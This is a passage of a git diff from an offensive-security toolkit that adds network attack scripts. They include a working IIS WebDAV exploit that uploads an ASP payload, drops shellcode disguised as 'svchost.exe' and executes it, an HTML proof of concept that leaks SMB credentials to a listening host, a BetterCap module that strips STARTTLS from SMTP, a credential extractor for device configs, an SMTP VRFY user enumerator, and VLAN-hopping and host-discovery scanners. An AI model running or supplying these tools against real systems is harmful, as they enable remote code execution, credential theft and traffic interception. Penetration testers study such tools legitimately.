print('\n[>] Cleaning up...')
stopThreads = True
time.sleep(3)
cleanup()
return True
if __name__ == '__main__':
main(sys.argv)

155
networks/dtpscan.py Normal file
View File

@ -0,0 +1,155 @@
#!/usr/bin/python
#
# Simple script showing configuration of the DTP protocol on
# the switch's port. This reconessaince will be helpful for performing
# VLAN Hopping attacks.
#
# Mariusz B. / mgeeky, '18
#
import os
import sys
from scapy.all import *
config = {
'count' : 10,
'timeout' : 90
}
ciscoConfigMaps = {
2: '''
ACCESS/OFF/ACCESS
Administrative Mode: static access
Operational Mode: static access
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: native
Negotiation of Trunking: Off''',
3: '''
ACCESS/DESIRABLE/ACCESS
Administrative Mode: dynamic desirable
Operational Mode: static access
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: native
Negotiation of Trunking: On''',
4: '''
ACCESS/AUTO/ACCESS
Administrative Mode: dynamic auto
Operational Mode: static access
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: native
Negotiation of Trunking: On''',
0x81: '''
TRUNK/ON/TRUNK
Administrative Mode: trunk
Operational Mode: trunk
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: dot1q
Negotiation of Trunking: On''',
}
def showConfig(stat):
if stat in ciscoConfigMaps.keys():
print(ciscoConfigMaps[stat])
def inspectPacket(dtp):
tlvs = dtp['DTP'].tlvlist
stat = -1
for tlv in tlvs:
if tlv.type == 2:
# TLV: DTPStatus
stat = ord(tlv.status)
break
print(' ' + '=' * 60)
if stat == -1:
print('[!] Something went wrong: Got invalid DTP packet.')
print(' ' + '=' * 60)
return False
elif stat == 2:
print('[-] DTP disabled, Switchport in Access mode configuration')
print('[-] VLAN Hopping via Switch Spoofing/trunking IS NOT possible.')
print('\n\tSWITCH(config-if)# switchport mode access')
elif stat == 3:
print('[+] DTP enabled, Switchport in default configuration')
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
print('\n\tSWITCH(config-if)# switchport dynamic desirable (or none)')
elif stat == 4 or stat == 0x84:
print('[+] DTP enabled, Switchport in Dynamic Auto configuration')
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
print('\n\tSWITCH(config-if)# switchport mode dynamic auto')
elif stat == 0x81:
print('[+] DTP enabled, Switchport in Trunk configuration')
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
print('\n\tSWITCH(config-if)# switchport mode trunk')
elif stat == 0xa5:
print('[?] DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration')
print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.')
print('\n\tSWITCH(config-if)# switchport mode trunk 802.1Q')
elif stat == 0x42:
print('[?] DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.')
print('\n\tSWITCH(config-if)# switchport mode trunk ISL')
showConfig(stat)
print(' ' + '=' * 60)
return True
def packetCallback(pkt):
print('[>] Packet: ' + pkt.summary())
def main(argv):
if os.getuid() != 0:
print('[!] This program must be run as root.')
return False
load_contrib('dtp')
print('[*] Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
config['count'], config['timeout']
))
dtps = sniff(
count = config['count'],
filter = 'ether[20:2] == 0x2004',
timeout = config['timeout'],
prn = packetCallback,
stop_filter = lambda x: x.haslayer(DTP)
)
if len(dtps) == 0:
print('[-] It seems like there was no DTP frames transmitted.')
print('[-] VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
print('\n\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
print('\tSWITCH(config-if)# switchport mode access')
return False
print('[*] Got {} DTP frames.\n'.format(
len(dtps)
))
success = False
for dtp in dtps:
if dtp.haslayer(DTP):
if inspectPacket(dtp):
success = True
break
if not success:
print('[-] Received possibly corrupted DTP frames! General failure.')
print('')
return success
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,257 @@
#!/usr/bin/python
#
# Simple UDP scanner determining whether scanned host replies with
# ICMP Desitnation Unreachable upon receiving UDP packet on some high, closed port.
#
# Based on "Black Hat Python" book by Justin Seitz.
#
# Mariusz B.
#
import os
import sys
import time
import ctypes
import struct
import socket
import threading
from datetime import datetime
try:
from netaddr import IPNetwork, IPAddress
except ImportError:
print('[!] No module named "netaddr". Please type:\n\tpip install netaddr')
sys.exit(1)
DEBUG = False
# Ports that will be used during scanning, considered as most likely closed ports.
SCAN_PORTS = range(65212, 65220)
HOSTS_UP = set()
MAGIC_MESSAGE = '\xec\xcb\x5c\x6f\x41\xbe\x2e\x71\x9e\xd1'
class ICMP(ctypes.Structure):
_fields_ = [
('type', ctypes.c_ubyte),
('code', ctypes.c_ubyte),
('chksum', ctypes.c_ushort),
('unused', ctypes.c_ushort),
('nexthop', ctypes.c_ushort)
]
def __new__(self, sockBuff = None):
return self.from_buffer_copy(sockBuff)
def __init__(self, sockBuff = None):
self.types_map = {
0:'Echo Reply',1:'Unassigned',2:'Unassigned ',3:'Destination Unreachable',
4:'Source Quench',5:'Redirect',6:'Alternate Host Address',7:'Unassigned',
8:'Echo',9:'Router Advertisement',10:'Router Solicitation',11:'Time Exceeded',
12:'Parameter Problem',13:'Timestamp',14:'Timestamp Reply',15:'Information Request',
16:'Information Reply',17:'Address Mask Request',18:'Address Mask Reply',
30:'Traceroute',31:'Datagram Conversion Error',32:'Mobile Host Redirect',
33:'IPv6 Where-Are-You',34:'IPv6 I-Am-Here',35:'Mobile Registration Request',
36:'Mobile Registration Reply',37:'Domain Name Request',38:'Domain Name Reply',
39:'SKIP',40:'Photuris'
}
# Human readable protocol
try:
self.message = self.types_map[self.type]
except:
self.message = str('')
#
# IPv4 packet structure definition in ctypes.
#
class IP(ctypes.Structure):
_fields_ = [
('ihl', ctypes.c_ubyte, 4),
('version', ctypes.c_ubyte, 4),
('tos', ctypes.c_ubyte),
('len', ctypes.c_ushort),
('id', ctypes.c_ushort),
('offset', ctypes.c_ushort),
('ttl', ctypes.c_ubyte),
('protocol_num', ctypes.c_ubyte),
('sum', ctypes.c_ushort),
('src', ctypes.c_ulong),
('dst', ctypes.c_ulong)
]
def __new__(self, socketBuffer = None):
return self.from_buffer_copy(socketBuffer)
def __init__(self, socketBuffer = None):
# Map protocol constants to their names.
self.protocol_map = {
0:'HOPOPT',1:'ICMP',2:'IGMP',3:'GGP',4:'IPv4',5:'ST',6:'TCP',7:'CBT',8:'EGP',
9:'IGP',10:'BBN-RCC-MON',11:'NVP-II',12:'PUP',13:'ARGUS',14:'EMCON',15:'XNET',16:'CHAOS',
17:'UDP',18:'MUX',19:'DCN-MEAS',20:'HMP',21:'PRM',22:'XNS-IDP',23:'TRUNK-1',24:'TRUNK-2',
25:'LEAF-1',26:'LEAF-2',27:'RDP',28:'IRTP',29:'ISO-TP4',30:'NETBLT',31:'MFE-NSP',32:'MERIT-INP',
33:'DCCP',34:'3PC',35:'IDPR',36:'XTP',37:'DDP',38:'IDPR-CMTP',39:'TP++',40:'IL',
41:'IPv6',42:'SDRP',43:'IPv6-Route',44:'IPv6-Frag',45:'IDRP',46:'RSVP',47:'GRE',48:'DSR',
49:'BNA',50:'ESP',51:'AH',52:'I-NLSP',53:'SWIPE',54:'NARP',55:'MOBILE',56:'TLSP',
57:'SKIP',58:'IPv6-ICMP',59:'IPv6-NoNxt',60:'IPv6-Opts',62:'CFTP',64:'SAT-EXPAK',
65:'KRYPTOLAN',66:'RVD',67:'IPPC',69:'SAT-MON',70:'VISA',71:'IPCV',72:'CPNX',
73:'CPHB',74:'WSN',75:'PVP',76:'BR-SAT-MON',77:'SUN-ND',78:'WB-MON',79:'WB-EXPAK',80:'ISO-IP',
81:'VMTP',82:'SECURE-VMTP',83:'VINES',84:'TTP',84:'IPTM',85:'NSFNET-IGP',86:'DGP',87:'TCF',88:'EIGRP',
89:'OSPFIGP',90:'Sprite-RPC',91:'LARP',92:'MTP',93:'AX.25',94:'IPIP',95:'MICP',96:'SCC-SP',
97:'ETHERIP',98:'ENCAP',100:'GMTP',101:'IFMP',102:'PNNI',103:'PIM',104:'ARIS',
105:'SCPS',106:'QNX',107:'A/N',108:'IPComp',109:'SNP',110:'Compaq-Peer',111:'IPX-in-IP',112:'VRRP',
113:'PGM',115:'L2TP',116:'DDX',117:'IATP',118:'STP',119:'SRP',120:'UTI',
121:'SMP',122:'SM',123:'PTP',124:'ISIS',125:'FIRE',126:'CRTP',127:'CRUDP',128:'SSCOPMCE',
129:'IPLT',130:'SPS',131:'PIPE',132:'SCTP',133:'FC',134:'RSVP-E2E-IGNORE',135:'Mobility',136:'UDPLite',
137:'MPLS-in-IP',138:'manet',139:'HIP',140:'Shim6',141:'WESP',142:'ROHC'
}
# Human readable IP addresses.
self.src_address = socket.inet_ntoa(struct.pack('<L', self.src))
self.dst_address = socket.inet_ntoa(struct.pack('<L', self.dst))
# Human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
def udpSend(subnet, message):
time.sleep(5)
if DEBUG: print('[.] Started spraying UDP packets across {}'.format(str(subnet)))
packets = 0
ports = [x for x in SCAN_PORTS]
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for ip in IPNetwork(subnet):
try:
for port in ports:
sender.sendto(message, (str(ip), port))
packets += 1
except Exception, e:
pass
print('[.] Spraying thread finished. Sent: {} packets on {} hosts.'.format(
packets, len(IPNetwork(subnet))
))
def processPackets(sniffer, subnet):
global HOSTS_UP
# Read in single packet
try:
packetNum = 0
while True:
packetPrint = ''
packetNum += 1
packet = sniffer.recvfrom((1 << 16) - 1)[0]
# Create an IP header from the first 20 bytes of the buffer.
ipHeader = IP(packet[0 : ctypes.sizeof(IP)])
timeNow = datetime.now().strftime('%H:%M:%S.%f')[:-3]
# Print out the protocol that was detected and the hosts.
packetPrint += '[{:05} | {}] {} {} > {}'.format(
packetNum, timeNow, ipHeader.protocol, ipHeader.src_address, ipHeader.dst_address,
)
if ipHeader.protocol == 'ICMP':
offset = ipHeader.ihl * 4
icmpBuf = packet[offset : offset + ctypes.sizeof(ICMP)]
icmpHeader = ICMP(icmpBuf)
packetPrint += ': ICMP Type: {} ({}), Code: {}\n'.format(
icmpHeader.type, icmpHeader.message, icmpHeader.code
)
if DEBUG:
packetPrint += hexdump(packet)
# Destination unreachable
if icmpHeader.code == 3 and icmpHeader.type == 3:
if IPAddress(ipHeader.src_address) in IPNetwork(subnet):
# Make sure it contains our message
if packet[- len(MAGIC_MESSAGE):] == MAGIC_MESSAGE:
host = ipHeader.src_address
if host not in HOSTS_UP:
print('[+] HOST IS UP: {}'.format(host))
HOSTS_UP.add(host)
if DEBUG:
print(packetPrint)
except KeyboardInterrupt:
return
def hexdump(src, length = 16):
result = []
digits = 4 if isinstance(src, unicode) else 2
num = len(src)
for i in range(0, num, length):
s = src[i:i+length]
hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s])
result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text))
return '\n'.join(result)
def main(argv):
global BIND
if len(argv) < 3:
print('Usage: ./udp-scan.py <bind-ip> <target-subnet>')
sys.exit(1)
bindAddr = sys.argv[1]
subnet = sys.argv[2]
sockProto = None
if os.name == 'nt':
sockProto = socket.IPPROTO_IP
else:
sockProto = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto)
if DEBUG: print('[.] Binding on {}:0'.format(bindAddr))
sniffer.bind((bindAddr, 0))
# Include IP headers in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# In Windows, set up promiscous mode.
if os.name == 'nt':
try:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
except socket.error, e:
print('[!] Could not set promiscous mode ON: "{}"'.format(str(e)))
# Sending thread
threading.Thread(target=udpSend, args=(subnet, MAGIC_MESSAGE)).start()
# Receiving thread
recvThread = threading.Thread(target=processPackets, args=(sniffer, subnet))
recvThread.daemon = True
recvThread.start()
time.sleep(15)
if DEBUG: print('[.] Breaking response wait loop.')
# Turn off promiscous mode
if os.name == 'nt':
try:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
except socket.error, e:
pass
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,99 @@
#!/usr/bin/python
import requests
import string
import random
import sys
def randstring(N = 6):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: webdav_upload.py <host> <inputfile>'
sys.exit(0)
sc = ''
with open(sys.argv[2], 'rb') as f:
bytes = f.read()
sc = 'sc = Chr(%d)' % ord(bytes[0])
for i in range(1, len(bytes)):
if i % 100 == 0:
sc += '\r\nsc = sc'
sc += '&Chr(%d)' % ord(bytes[i])
put_request = '''<%% @language="VBScript" %%>
<%%
Sub webdav_upload()
Dim fs
Set fs = CreateObject("Scripting.FileSystemObject")
Dim str
Dim tmp
Dim tmpexe
Dim sc
%(shellcode)s
Dim base
Set tmp = fs.GetSpecialFolder(2)
base = tmp & "\" & fs.GetTempName()
fs.CreateFolder(base)
tmpexe = base & "\" & "svchost.exe"
Set str = fs.CreateTextFile(tmpexe, 2, 0)
str.Write sc
str.Close
Dim shell
Set shell = CreateObject("Wscript.Shell")
shell.run tmpexe, 0, false
End Sub
webdav_upload
%%>''' % {'shellcode' : sc}
print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit'
print '\t(based on Metasploit HDM\'s <iis_webdav_upload_asp> implementation)'
print '\tMariusz B. / mgeeky, 2016\n'
host = sys.argv[1]
if not host.startswith('http'):
host = 'http://' + host
outname = '/file' + randstring(6) + '.asp;.txt'
print 'Step 0: Checking if file already exist: "%s"' % (host + outname)
r = requests.get(host + outname)
if r.status_code == requests.codes.ok:
print 'Resource already exists. Exiting...'
sys.exit(1)
else:
print '[*] File does not exists. That\'s good.'
print '\nStep 1: Upload file with improper name: "%s"' % (host + outname)
print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request)
r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'})
if r.status_code < 200 or r.status_code >= 300:
print '[!] Upload failed. Status: ' + str(r.status_code)
sys.exit(1)
else:
print '[+] File uploaded.'
newname = outname.replace(';.txt', '')
print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname)
r = requests.request('move', host + outname, headers={'Destination':newname})
if r.status_code < 200 or r.status_code >= 300:
print '[!] Renaming operation failed. Status: ' + str(r.status_code)
sys.exit(1)
else:
print '[+] File renamed, splendid my lord.'
print '\nStep 3: Executing resulted payload file (%s).' % (host + newname)
r = requests.get(host + newname)
if r.status_code < 200 or r.status_code >= 300:
print '[!] Execution failed. Status: ' + str(r.status_code)
print '[!] Response: ' + r.text
sys.exit(1)
else:
print '[+] File has been launched. Game over.'

View File

@ -0,0 +1,362 @@
#!/usr/bin/python
#
# Script intendend to sweep Cisco, Huawei and possibly other network devices
# configuration files in order to extract plain and cipher passwords out of them.
#
# Mariusz B., mgeeky '18
#
import re
import os
import sys
import argparse
#
# In order to extend capabilities of this script, one can add custom entries
# to the below dictionary. Contents are:
# regexes = {
# 'Technology' : {
# 'Pattern Name' : r'pattern',
# }
# }
#
regexes = {
'Cisco' : {
'Enable secret' : r'enable secret \d+ \bcrypt',
'Privileged command level password' : r'password \password',
'Enable password' : r'enable password \password',
'Enable password(2)' : r'enable password level \d+ \password',
'Username/password' : r'username \name .*(?:password|secret \d) \password',
'HSRP Authentication string' : r'standby \d+ authentication \password',
'HSRP Authentication Text' : r'authentication text \password',
'HSRP Authentication MD5 key-string': r'standby \d+ authentication md5 key-string \keystring',
'OSPF Authentication string' : r'ip ospf authentication-key \password',
'OSPF Authentication MD5 string' : r'ip ospf message-digest-key \d+ md5 \password',
'EIGRP Key-string' : r'key-string \password',
'BGP Neighbor Authentication' : r'neighbor (\ip) password 7 \hash',
'AAA RADIUS Server Auth-Key' : r'server-private \ip auth-port \d+ acct-port \d+ key \d+ \hash',
'NTP Authentication MD5 Key' : r'ntp authentication-key \d+ md5 \password \d',
'TACACS-Server' : r'tacacs-server host \ip key \d \hash',
'RADIUS Server Key' : r'key 7 \hash',
'SNMP-Server User/Password' : r'snmp-server user \name [\w-]+ auth md5 0x\hash priv 0x\hash localizedkey',
'FTP Server Username' : r'ip ftp username \name',
'FTP Server Password' : r'ip ftp password \password',
},
'Cisco ASA' : {
'Username and Password' : r'username \name .*password \password',
'LDAP Login password' : r'ldap-login-password \password',
'SNMP-Server authentication' : r'snmp-server user \name snmp-read-only-group v\d engineID \hash encrypted auth md5 ([0-9a-fA-F\:]+) priv aes 256 ([0-9a-fA-F\:]+)',
},
'Huawei' : {
'VTY User interface' : r'set authentication password cipher \password',
'Local User' : r'local-user \name password (?:cipher|irreversible-cipher) \password',
'NTP Authentication' : r'ntp-service authentication-keyid \d+ authentication-mode (md5|hmac-sha256) (?:cipher)?\s*\password',
'RADIUS Server Shared-Key' : r'radius-server shared-key cipher \password',
'RADIUS Server Authorization' : r'radius-server authorization \ip shared-key cipher \password',
'TACACS-Server Shared-Key Cipher' : r'hwtacacs-server shared-key cipher \password',
'SNMP-Agent Authentication MD5' : r'snmp-agent [\w-]+ v\d \name authentication-mode md5 \password',
'SNMP-Agent Authentication AES' : r'snmp-agent [\w-]+ v\d \name privacy-mode aes128 \password',
},
'Checkpoint gateway' : {
'SNMP User' : r'add snmp usm user \name security-level \w+ auth-pass-phrase-hashed \hash privacy-pass-phrase-hashed \hash privacy-protocol DES',
'Expert Password Hash' : r'set expert-password-hash \bcrypt',
'TACACS Authentication Key' : r'add aaa tacacs-servers priority \d+ server \ip key \password',
'User password-hash' : r'set user \name password-hash \bcrypt',
},
'F5 BIG-IP' : {
'Username and password' : r'manage user table create \name -pw \password',
'Configuration Sync Password' : r'redundancy config-sync sync-session-password set \password',
},
'PaloAlto Proxy' : {
'Active Directory Auth password' : r'<bind-password>([^<]+)</bind-password>',
'NTLM Password' : r'<ntlm-password>([^<]+)</ntlm-password>',
'Agent User key' : r'<agent-user-override-key>([^<]+)</agent-user-override-key>',
'User Password Hash' : r'<phash>([^<]+)</phash>',
},
'Others' : {
'Other uncategorized password' : r'.* password \password.*',
'Other uncategorized XML password' : r'password>([^<]+)<',
'Other uncategorized authentication string' : r'.* authentication \password.*',
'Other hash-key related' : r'.* key \hash',
},
}
config = {
'verbose' : False,
'debug' : False,
'lines' : 0,
'output' : 'normal',
'csv_delimiter' : ';',
'no_others' : False,
}
markers = {
'name' : r'([\w-]+|\"[\w-]+\")',
'ip' : r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
'domain' : r'(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})',
'hash' : r'([a-fA-F0-9]{20,})',
'bcrypt' : r'([\$\w\.\/]+)',
'password': r'(?:\d\s+)?([^\s]+)',
'keystring': r'([a-f0-9]+)',
}
foundCreds = set()
maxTechnologyWidth = 0
maxRegexpWidth = 0
results = set()
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
Logger._out('[!] ' + x)
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def processRegex(inputRegex):
for marker in markers:
if '\\' + marker in inputRegex:
inputRegex = inputRegex.replace('\\' + marker, markers[marker])
inputRegex = '^\\s*{}\\s*.*$'.format(inputRegex)
return inputRegex
def matchLines(lines, technology):
global foundCreds
global results
num = 0
for rex in regexes[technology]:
for idx in range(len(lines)):
line = lines[idx].strip()
if line in foundCreds:
continue
processedRex = processRegex(regexes[technology][rex])
matched = re.match(processedRex, line, re.I)
if matched:
num += 1
foundCreds.add(line)
creds = '", "'.join(matched.groups(1))
results.add((
technology, rex, creds
))
Logger._out('[+] {}: {}: {}'.format(
technology, rex, creds
))
if idx - config['lines'] >= 0:
for i in range(idx - config['lines'], idx):
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
if config['lines'] != 0:
Logger._out('[{:04}]==>\t{}'.format(idx, line))
else:
Logger._out('[{:04}]\t\t{}'.format(idx, line))
if idx + 1 + config['lines'] < len(lines):
for i in range(idx + 1, idx + config['lines'] + 1):
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
Logger.dbg('\tRegex used: [ {} ]'.format(processedRex))
return num
def processFile(file):
lines = []
Logger.info('Processing file: "{}"'.format(file))
with open(file, 'r') as f:
lines = [ line.strip() for line in f.readlines()]
num = 0
for technology in regexes:
if technology == 'Others':
continue
num0 = matchLines(lines, technology)
num += num0
if not config['no_others']:
num0 = matchLines(lines, 'Others')
if num0 == 0:
print('<none>')
num += num0
return num
def processDir(dirname):
num = 0
for filename in os.listdir(dirname):
newfilename = os.path.join(dirname, filename)
if os.path.isdir(newfilename):
num += processDir(newfilename)
elif os.path.isfile(newfilename):
num += processFile(newfilename)
return num
def parseOptions(argv):
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
parser.add_argument('file', metavar='<file>', type=str, help='Config file or directory to process.')
parser.add_argument('-C', '--lines', metavar='N', type=int, default=0, help='Display N lines around matched credential if verbose output is enabled.')
parser.add_argument('-f', '--format', choices=['raw', 'normal', 'tabular', 'csv'], default='normal', help="Specifies output format: 'raw' (only hashes), 'tabular', 'normal', 'csv'. Default: 'normal'")
parser.add_argument('-N', '--no-others', dest='no_others', action='store_true', help='Don\'t match "Others" category which is false-positives prone.')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
if len(argv) < 2:
parser.print_help()
return False
args = parser.parse_args()
config['verbose'] = args.verbose
config['debug'] = args.debug
config['lines'] = args.lines
config['no_others'] = args.no_others
if args.format == 'raw':
config['output'] = 'raw'
elif args.format == 'tabular':
config['output'] = 'tabular'
elif args.format == 'csv':
config['output'] = 'csv'
else:
config['output'] == 'normal'
return args
def printResults():
global maxTechnologyWidth
global maxRegexpWidth
# CSV Columns
cols = ['technology', 'name', 'hashes']
def _print(technology, rex, creds):
if config['output'] == 'tabular':
print('[+] {0: <{width1}} {1:^{width2}}: "{2:}"'.format(
technology, rex, creds,
width1 = maxTechnologyWidth, width2 = maxRegexpWidth
))
elif config['output'] == 'raw':
credstab = creds.split('", "')
longest = ''
for passwd in credstab:
if len(passwd) > len(longest):
longest = passwd
print('{}'.format(
passwd
))
elif config['output'] == 'csv':
creds = '"{}"'.format(creds)
rex = rex.replace(config['csv_delimiter'], ' ')
#creds = creds.replace(config['csv_delimiter'], ' ')
print(config['csv_delimiter'].join([technology, rex, creds]))
else:
print('[+] {}: {}: "{}"'.format(
technology, rex, creds
))
maxTechnologyWidth = 0
maxRegexpWidth = 0
for result in results:
technology, rex, creds = result
if len(technology) > maxTechnologyWidth:
maxTechnologyWidth = len(technology)
if len(regexes[technology][rex]) > maxRegexpWidth:
maxRegexpWidth = len(regexes[technology][rex])
maxTechnologyWidth = maxTechnologyWidth + 3
maxRegexpWidth = maxRegexpWidth + 3
if config['output'] == 'normal' or config['output'] == 'tabular':
print('\n=== CREDENTIALS FOUND:')
elif config['output'] == 'csv':
print(config['csv_delimiter'].join(cols))
for result in results:
technology, rex, creds = result
if technology == 'Others': continue
_print(technology, rex, creds)
if not config['no_others'] and (config['output'] == 'normal' or config['output'] == 'tabular'):
print('\n=== BELOW LINES MAY BE FALSE POSITIVES:')
for result in results:
technology, rex, creds = result
if technology != 'Others': continue
_print(technology, rex, creds)
def main(argv):
Logger._out('''
:: Network-configuration Credentials extraction script
Mariusz B. / mgeeky, '18
''')
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
count = 0
for technology in regexes:
count += len(regexes[technology])
Logger.info('Capable of matching: {} patterns containing credentials.'.format(count))
num = 0
if os.path.isfile(opts.file):
num = processFile(opts.file)
elif os.path.isdir(opts.file):
num = processDir(opts.file)
else:
Logger.err('Please provide either file or directory on input.')
return False
printResults()
if config['output'] == 'normal' or config['output'] == 'tabular':
print('\n[>] Found: {} credentials.'.format(num))
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,37 @@
#!/bin/bash
#
# Simple script converting nmap's greppable output into a
# printable per-host table with protocol, port, state and service
# columns in it.
#
#
# WARNING:
# This script looks for gnmap (-oG) files within
# current working directory (cwd)
#
for host in $(find -name "*.gnmap" | sort -t'.' -n -k5)
do
if cat $host | grep -q "Status: Up" && cat $host | grep -q "Ports:"; then
hostip=$(grep Ports $host | cut -d' ' -f2)
ports=$(cat ${hostip}*.gnmap | grep Ports | cut -d: -f3 | sed 's:/, :\n:g' | awk '{$1=$1}1')
IFS=$'\n'
echo -e "\n\nHost: $hostip\n"
echo -e "Proto\t| Port\t| State\t\t| Service"
echo -e "----------------------------------------------------"
for port in $ports
do
proto=$(echo $port | cut -d/ -f3)
portnum=$(echo $port | cut -d/ -f1)
state=$(echo $port | cut -d/ -f2)
service=$(echo $port | cut -d/ -f5)
printf "%s\t| %-5s\t| %-13s\t| %s\n" $proto $portnum $state $service
done | sort -u -k3,3 -n
fi
done

39
networks/pingsweep.py Normal file
View File

@ -0,0 +1,39 @@
#!/usr/bin/python
import sys
import netaddr
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import sr1, IP, ICMP
PING_TIMEOUT = 3
IFACE='eth0'
if __name__ == '__main__':
print '\tQuick Ping Sweep\n'
if len(sys.argv) != 2:
print '[?] Usage: pingsweep <network>'
sys.exit(0)
net = sys.argv[1]
print 'Input network:', net
responding = []
network = netaddr.IPNetwork(net)
for ip in network:
if ip == network.network or ip == network.broadcast:
continue
# Send & wait for response for the ICMP Echo Request packet
reply = sr1( IP(dst=str(ip)) / ICMP(), timeout=PING_TIMEOUT, iface=IFACE, verbose=0 )
if not reply:
continue
if int(reply.getlayer(ICMP).type) == 0 and int(reply.getlayer(ICMP).code) == 0:
print ip, ': Host is responding to ICMP Echo Requests.'
responding.append(ip)
print '[+] Spotted {} ICMP Echo Requests.'.format(len(responding))

View File

@ -0,0 +1,6 @@
<!-- PoC for leaking SMB Credentials with listening Responder -->
<!-- as presented by X41 D-Sec GmbH in Browser Security White Paper. -->
<!-- To be used as: $ `responder -I eth0 -w -r f -v` -->
<body onmousemove="document.getElementById(6).click()">
<a id=6 href="\\192.168.56.101\edgeleak" download></a>
</body>

42
networks/smtpdowngrade.rb Normal file
View File

@ -0,0 +1,42 @@
=begin
Author : @mgeeky
Email : mb@binary-offensive.com
This project is released under the GPL 3 license.
=end
class SMTPDowngrade < BetterCap::Proxy::TCP::Module
meta(
'Name' => 'SMTPDowngrade',
'Description' => 'Downgrades SMTP encryption by returning deny to STARTTLS request.',
'Version' => '1.0.0',
'Author' => 'mgeeky - mb@binary-offensive.com - https://github.com/mgeeky',
'License' => 'GPL3'
)
def on_response(event)
if @respondwith != nil
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Lying that SMTP server does not support SSL/TLS."
event.data = @respondwith
@respondwith = nil
end
BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"
end
def on_data(event)
@respondwith = smtp_parse_request(event)
end
def smtp_parse_request(event)
return nil if not event.data
if event.data =~ /^STARTTLS\s*\r\n/
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command."
@respondwith = "454 4.7.0 TLS not available due to local problem\r\n"
event.data = "HELP\r\n"
end
BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"
end
end

98
networks/smtpvrfy.py Normal file
View File

@ -0,0 +1,98 @@
#!/usr/bin/python
#
# Simple script intended to abuse SMTP server's VRFY command to leak
# usernames having accounts registered within it.
#
# Mariusz B., 2016
#
import socket
import sys
import os
# Specify below your default, fallback wordlist
DEFAULT_WORDLIST = '/root/data/fuzzdb/wordlists-user-passwd/names/namelist.txt'
DEFAULT_TIMEOUT = 20
def interpret_smtp_status_code(resp):
code = int(resp.split(' ')[0])
messages = {
250:'Requested mail action okay, completed',
251:'User not local; will forward to <forward-path>',
252:'Cannot VRFY user, but will accept message and attempt delivery',
502:'Command not implemented',
530:'Access denied (???a Sendmailism)',
550:'Requested action not taken: mailbox unavailable',
551:'User not local; please try <forward-path>',
}
if code in messages.keys():
return '({} {})'.format(code, messages[code])
else:
return '({} code unknown)'.format(code)
def vrfy(server, username, port, timeout, brute=False):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
try:
conn = s.connect((server, port))
except socket.error, e:
print '[!] Connection failed with {}:{} - "{}"'.format(server, port, str(e))
return False
try:
print '[+] Service banner: "{}"'.format(s.recv(1024).strip())
s.send('HELO test@test.com\r\n')
print '[>] Response for HELO from {}:{} - '.format(server, port) + s.recv(1024).strip()
except socket.error, e:
print '[!] Failed at initial session setup: "{}"'.format(str(e))
return False
if brute:
print '[?] Engaging brute-force enumeration...'
if brute:
for i in range(len(username)):
user = username[i]
s.send('VRFY ' + user + '\r\n')
res = s.recv(1024).strip()
